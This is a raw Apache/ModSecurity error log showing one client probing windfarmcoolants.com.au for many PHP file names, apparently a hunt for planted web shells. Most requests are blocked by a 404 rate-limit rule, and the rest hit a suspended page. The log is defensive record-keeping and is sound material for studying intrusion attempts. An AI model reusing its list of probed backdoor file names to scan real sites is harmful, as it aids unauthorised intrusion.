[Sat Mar 28 07:51:08.066275 2026] [:error] [pid 43578:tid 43599] [client 20.220.9.32:27540] File does not exist: /usr/local/apache/htdocs/suspended-page/init.php
[Sat Mar 28 07:51:08.742537 2026] [:error] [pid 43578:tid 43588] [client 20.220.9.32:27540] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms.php"] [unique_id "accX7HNG2YdGm41aN8LjIgAAAkc"]
[Sat Mar 28 07:51:10.167371 2026] [:error] [pid 43578:tid 43589] [client 20.220.9.32:27613] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms.php"] [unique_id "accX7nNG2YdGm41aN8LjJQAAAkg"]
[Sat Mar 28 07:51:13.598363 2026] [:error] [pid 64861:tid 64954] [client 20.220.9.32:27478] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms.php"] [unique_id "accX8exK22_lUN2kvnVs0QAAAJM"]
[Sat Mar 28 07:51:15.057416 2026] [:error] [pid 43579:tid 43620] [client 20.220.9.32:27607] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms.php"] [unique_id "accX8yRqN4JVI8gB7AmVOwAAAow"]
[Sat Mar 28 07:51:16.496421 2026] [:error] [pid 43578:tid 43586] [client 20.220.9.32:27531] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/grsiuk.php"] [unique_id "accX9HNG2YdGm41aN8LjJgAAAkU"]
[Sat Mar 28 07:51:17.921101 2026] [:error] [pid 64860:tid 64931] [client 20.220.9.32:27621] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/grsiuk.php"] [unique_id "accX9RkU3N0pg_4aEL_jDQAAAFc"]
[Sat Mar 28 07:51:20.798861 2026] [:error] [pid 43578:tid 43599] [client 20.220.9.32:27530] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/grsiuk.php"] [unique_id "accX-HNG2YdGm41aN8LjMAAAAlI"]
[Sat Mar 28 07:51:22.233949 2026] [:error] [pid 2877:tid 2883] [client 20.220.9.32:27523] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/grsiuk.php"] [unique_id "accX-rgM4xL1Xj409YTehwAAAQQ"]
[Sat Mar 28 07:51:23.657778 2026] [:error] [pid 43547:tid 43560] [client 20.220.9.32:27533] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "accX-z4ZEfdetXP-9aC02AAAAgs"]
[Sat Mar 28 07:51:25.079437 2026] [:error] [pid 64861:tid 64950] [client 20.220.9.32:27591] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "accX_exK22_lUN2kvnVs1wAAAI8"]
[Sat Mar 28 07:51:26.502714 2026] [:error] [pid 34631:tid 34670] [client 20.220.9.32:27634] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "accX_jtzjMMS6kojpeQ2eAAAAco"]
[Sat Mar 28 07:51:29.268281 2026] [:error] [pid 64860:tid 64911] [client 20.220.9.32:27532] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "accYARkU3N0pg_4aEL_jJgAAAEM"]
[Sat Mar 28 07:51:30.688456 2026] [:error] [pid 34597:tid 34614] [client 20.220.9.32:27529] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/term.php"] [unique_id "accYAoluI7-e5s1cafclMAAAAU0"]
[Sat Mar 28 07:51:32.113995 2026] [:error] [pid 64860:tid 64917] [client 20.220.9.32:27596] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/term.php"] [unique_id "accYBBkU3N0pg_4aEL_jMwAAAEk"]
[Sat Mar 28 07:51:33.648724 2026] [:error] [pid 2877:tid 2894] [client 20.220.9.32:27460] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/term.php"] [unique_id "accYBbgM4xL1Xj409YTekAAAAQ8"]
[Sat Mar 28 07:51:35.087565 2026] [:error] [pid 64860:tid 64916] [client 20.220.9.32:27630] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/term.php"] [unique_id "accYBxkU3N0pg_4aEL_jOgAAAEg"]
[Sat Mar 28 07:51:36.518562 2026] [:error] [pid 64861:tid 64946] [client 20.220.9.32:27552] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bootstrap.php"] [unique_id "accYCOxK22_lUN2kvnVs7QAAAIs"]
[Sat Mar 28 07:51:38.013609 2026] [:error] [pid 64860:tid 64913] [client 20.220.9.32:27538] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bootstrap.php"] [unique_id "accYChkU3N0pg_4aEL_jQQAAAEU"]
[Sat Mar 28 07:51:39.477730 2026] [:error] [pid 34597:tid 34625] [client 20.220.9.32:27629] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bootstrap.php"] [unique_id "accYC4luI7-e5s1cafclSgAAAVg"]
[Sat Mar 28 07:51:40.926815 2026] [:error] [pid 64861:tid 64941] [client 20.220.9.32:27583] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bootstrap.php"] [unique_id "accYDOxK22_lUN2kvnVs8wAAAIY"]
[Sat Mar 28 07:51:42.379921 2026] [:error] [pid 64860:tid 64917] [client 20.220.9.32:27601] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "accYDhkU3N0pg_4aEL_jTAAAAEk"]
[Sat Mar 28 07:51:43.804329 2026] [:error] [pid 34597:tid 34602] [client 20.220.9.32:27526] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "accYD4luI7-e5s1cafclZAAAAUE"]
[Sat Mar 28 07:51:45.224974 2026] [:error] [pid 34631:tid 34671] [client 20.220.9.32:27571] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "accYETtzjMMS6kojpeQ2iwAAAcs"]
[Sat Mar 28 07:51:47.333740 2026] [:error] [pid 34597:tid 34622] [client 20.220.9.32:27534] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "accYE4luI7-e5s1cafclcgAAAVU"]
[Sat Mar 28 07:51:48.771420 2026] [:error] [pid 64966:tid 64992] [client 20.220.9.32:27480] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/install.php"] [unique_id "accYFNfSvF5AFfSuKxX4awAAANM"]
[Sat Mar 28 07:51:50.207336 2026] [:error] [pid 64860:tid 64916] [client 20.220.9.32:27637] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/install.php"] [unique_id "accYFhkU3N0pg_4aEL_jYwAAAEg"]
[Sat Mar 28 07:51:51.638900 2026] [:error] [pid 64861:tid 64953] [client 20.220.9.32:27569] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/install.php"] [unique_id "accYF-xK22_lUN2kvnVtBAAAAJI"]
[Sat Mar 28 07:51:53.105716 2026] [:error] [pid 34631:tid 34671] [client 20.220.9.32:27535] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/install.php"] [unique_id "accYGTtzjMMS6kojpeQ2mwAAAcs"]
[Sat Mar 28 07:51:54.540642 2026] [:error] [pid 34597:tid 34620] [client 20.220.9.32:27599] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/buc.php"] [unique_id "accYGoluI7-e5s1cafcleAAAAVM"]
[Sat Mar 28 07:51:56.015728 2026] [:error] [pid 34631:tid 34681] [client 20.220.9.32:27595] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/buc.php"] [unique_id "accYHDtzjMMS6kojpeQ2pgAAAdU"]
[Sat Mar 28 07:51:57.515857 2026] [:error] [pid 64966:tid 64977] [client 20.220.9.32:27638] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/buc.php"] [unique_id "accYHdfSvF5AFfSuKxX4cgAAAMQ"]
[Sat Mar 28 07:51:58.954405 2026] [:error] [pid 2877:tid 2888] [client 20.220.9.32:27635] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/buc.php"] [unique_id "accYHrgM4xL1Xj409YTenAAAAQk"]
[Sat Mar 28 07:52:00.393509 2026] [:error] [pid 43547:tid 43559] [client 20.220.9.32:27606] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abc.php"] [unique_id "accYID4ZEfdetXP-9aC09AAAAgo"]
[Sat Mar 28 07:52:03.279844 2026] [:error] [pid 34631:tid 34664] [client 20.220.9.32:27567] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abc.php"] [unique_id "accYIztzjMMS6kojpeQ2swAAAcQ"]
[Sat Mar 28 07:52:04.723315 2026] [:error] [pid 64860:tid 64923] [client 20.220.9.32:27459] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abc.php"] [unique_id "accYJBkU3N0pg_4aEL_jcwAAAE8"]
[Sat Mar 28 07:52:06.172056 2026] [:error] [pid 2877:tid 2881] [client 20.220.9.32:27597] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abc.php"] [unique_id "accYJrgM4xL1Xj409YTeogAAAQI"]
[Sat Mar 28 07:52:07.592146 2026] [:error] [pid 64860:tid 64930] [client 20.220.9.32:27603] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blogs.php"] [unique_id "accYJxkU3N0pg_4aEL_jgQAAAFY"]
[Sat Mar 28 07:52:09.014635 2026] [:error] [pid 64860:tid 64913] [client 20.220.9.32:27646] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blogs.php
[Sat Mar 28 07:52:09.442431 2026] [:error] [pid 64860:tid 64915] [client 20.220.9.32:27646] File does not exist: /usr/local/apache/htdocs/suspended-page/bolt.php
[Sat Mar 28 07:52:09.654932 2026] [:error] [pid 64860:tid 64920] [client 20.220.9.32:27646] File does not exist: /usr/local/apache/htdocs/suspended-page/okxh.php
[Sat Mar 28 07:52:09.867041 2026] [:error] [pid 64860:tid 64919] [client 20.220.9.32:27646] File does not exist: /usr/local/apache/htdocs/suspended-page/csv.php
[Sat Mar 28 07:52:10.080160 2026] [:error] [pid 64860:tid 64916] [client 20.220.9.32:27646] File does not exist: /usr/local/apache/htdocs/suspended-page/ws85.php
[Sat Mar 28 07:52:10.306029 2026] [:error] [pid 64860:tid 64911] [client 20.220.9.32:27646] File does not exist: /usr/local/apache/htdocs/suspended-page/lm15.php
[Sat Mar 28 07:52:10.531484 2026] [:error] [pid 64860:tid 64917] [client 20.220.9.32:27646] File does not exist: /usr/local/apache/htdocs/suspended-page/clss.php
[Sat Mar 28 07:52:10.746165 2026] [:error] [pid 64860:tid 64930] [client 20.220.9.32:27646] File does not exist: /usr/local/apache/htdocs/suspended-page/66.php
[Sat Mar 28 07:52:10.956323 2026] [:error] [pid 64860:tid 64924] [client 20.220.9.32:27646] File does not exist: /usr/local/apache/htdocs/suspended-page/5b9ac.php
[Sat Mar 28 07:52:11.170890 2026] [:error] [pid 64860:tid 64918] [client 20.220.9.32:27646] File does not exist: /usr/local/apache/htdocs/suspended-page/domains.php
[Sat Mar 28 07:52:11.394061 2026] [:error] [pid 64860:tid 64913] [client 20.220.9.32:27646] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Cap.php"] [unique_id "accYKxkU3N0pg_4aEL_jlwAAAEU"]
[Sat Mar 28 07:52:12.856056 2026] [:error] [pid 43578:tid 43595] [client 20.220.9.32:27461] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Cap.php"] [unique_id "accYLHNG2YdGm41aN8LjWgAAAk4"]
[Sat Mar 28 07:52:14.267918 2026] [:error] [pid 43578:tid 43589] [client 20.220.9.32:27605] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Cap.php"] [unique_id "accYLnNG2YdGm41aN8LjWwAAAkg"]
[Sat Mar 28 07:52:15.692671 2026] [:error] [pid 64860:tid 64913] [client 20.220.9.32:27644] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Cap.php"] [unique_id "accYLxkU3N0pg_4aEL_jnwAAAEU"]
[Sat Mar 28 07:52:17.786936 2026] [:error] [pid 64861:tid 64941] [client 20.220.9.32:27504] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws88.php"] [unique_id "accYMexK22_lUN2kvnVtNQAAAIY"]
[Sat Mar 28 07:52:19.229504 2026] [:error] [pid 64861:tid 64935] [client 20.220.9.32:27641] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws88.php"] [unique_id "accYM-xK22_lUN2kvnVtQgAAAIA"]
[Sat Mar 28 07:52:20.651377 2026] [:error] [pid 64860:tid 64927] [client 20.220.9.32:27528] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws88.php"] [unique_id "accYNBkU3N0pg_4aEL_jsgAAAFM"]
[Sat Mar 28 07:52:23.478944 2026] [:error] [pid 43547:tid 43563] [client 20.220.9.32:27643] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws88.php"] [unique_id "accYNz4ZEfdetXP-9aC0_AAAAg4"]
[Sat Mar 28 07:52:24.907355 2026] [:error] [pid 43579:tid 43624] [client 20.220.9.32:27617] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "accYOCRqN4JVI8gB7AmVewAAApA"]
[Sat Mar 28 07:52:26.324302 2026] [:error] [pid 43579:tid 43609] [client 20.220.9.32:27576] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "accYOiRqN4JVI8gB7AmVgQAAAoE"]
[Sat Mar 28 07:52:27.745263 2026] [:error] [pid 43579:tid 43610] [client 20.220.9.32:27562] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "accYOyRqN4JVI8gB7AmVhgAAAoI"]
[Sat Mar 28 07:52:29.200148 2026] [:error] [pid 43579:tid 43631] [client 20.220.9.32:27527] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "accYPSRqN4JVI8gB7AmVigAAApc"]
[Sat Mar 28 07:52:30.623671 2026] [:error] [pid 64860:tid 64911] [client 20.220.9.32:27483] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5e0a.php"] [unique_id "accYPhkU3N0pg_4aEL_jzwAAAEM"]
[Sat Mar 28 07:52:32.053350 2026] [:error] [pid 43547:tid 43559] [client 20.220.9.32:27608] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5e0a.php"] [unique_id "accYQD4ZEfdetXP-9aC0_gAAAgo"]
[Sat Mar 28 07:52:33.496859 2026] [:error] [pid 64860:tid 64915] [client 20.220.9.32:27559] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5e0a.php"] [unique_id "accYQRkU3N0pg_4aEL_j2gAAAEc"]
